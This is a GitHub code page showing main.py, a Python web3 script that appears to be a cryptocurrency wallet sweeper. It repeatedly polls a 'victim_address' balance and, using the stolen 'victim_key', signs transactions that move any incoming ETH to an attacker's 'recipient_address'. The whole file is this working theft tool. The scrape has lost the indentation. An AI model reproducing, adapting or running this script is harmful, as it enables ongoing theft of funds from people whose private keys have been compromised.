-
Notifications
You must be signed in to change notification settings - Fork 20
/
Copy pathmain.py
80 lines (61 loc) · 2.21 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from decimal import Decimal
from loguru import logger
from web3 import Web3
from dotenv import load_dotenv
from src.config import Config
from src.logging_config import setup_logging
load_dotenv()
setup_logging()
config = Config()
if config.ganache_mode:
W3 = Web3(Web3.HTTPProvider(config.ganache_url))
else:
W3 = Web3(Web3.HTTPProvider(config.infura_url))
# check connecting W3 to Ganache
if W3.is_connected():
logger.info("started")
else:
logger.error("error connecting...")
balance = 0
gas_fee = 21000 * 56 # You can change gasfee value
gas_fee = Decimal(gas_fee)
gas_fee = W3.from_wei(gas_fee, "Gwei")
logger.info(f"gas fee is : {gas_fee}")
def get_balance_loop():
balance = 0
while True:
while 0.0005 > balance:
# Get balance account
try:
balance = W3.eth.get_balance(config.victim_address)
balance = W3.from_wei(balance, "ether") # convert to ether value
except Exception as e:
logger.error(f"error , i can't get balance... error: {e}")
try:
balance = balance - gas_fee
logger.info(f"ETH balance: {balance}")
build_transaction(balance)
except Exception as e:
logger.error(f"Error, check balance and Gasfee again error: {e}")
def build_transaction(balance):
try:
# get nonce number
nonce = W3.eth.get_transaction_count(config.victim_address)
# build transaction
tx = {
"nonce": nonce,
"to": config.recipient_address,
"value": W3.to_wei(balance, "ether"),
"gas": 21000,
"gasPrice": W3.to_wei("56", "gwei"),
}
# sign transaction with private key
signed_tx = W3.eth.account.sign_transaction(tx, config.victim_key)
# send Transaction
tx_hash = W3.eth.send_raw_transaction(signed_tx.rawTransaction)
logger.info(W3.to_hex(tx_hash))
logger.info("Transaction Completed\n GET Balance Again...")
get_balance_loop()
except Exception as e:
logger.error(f"ERROR, check buldTransction Funcation {e}")
get_balance_loop()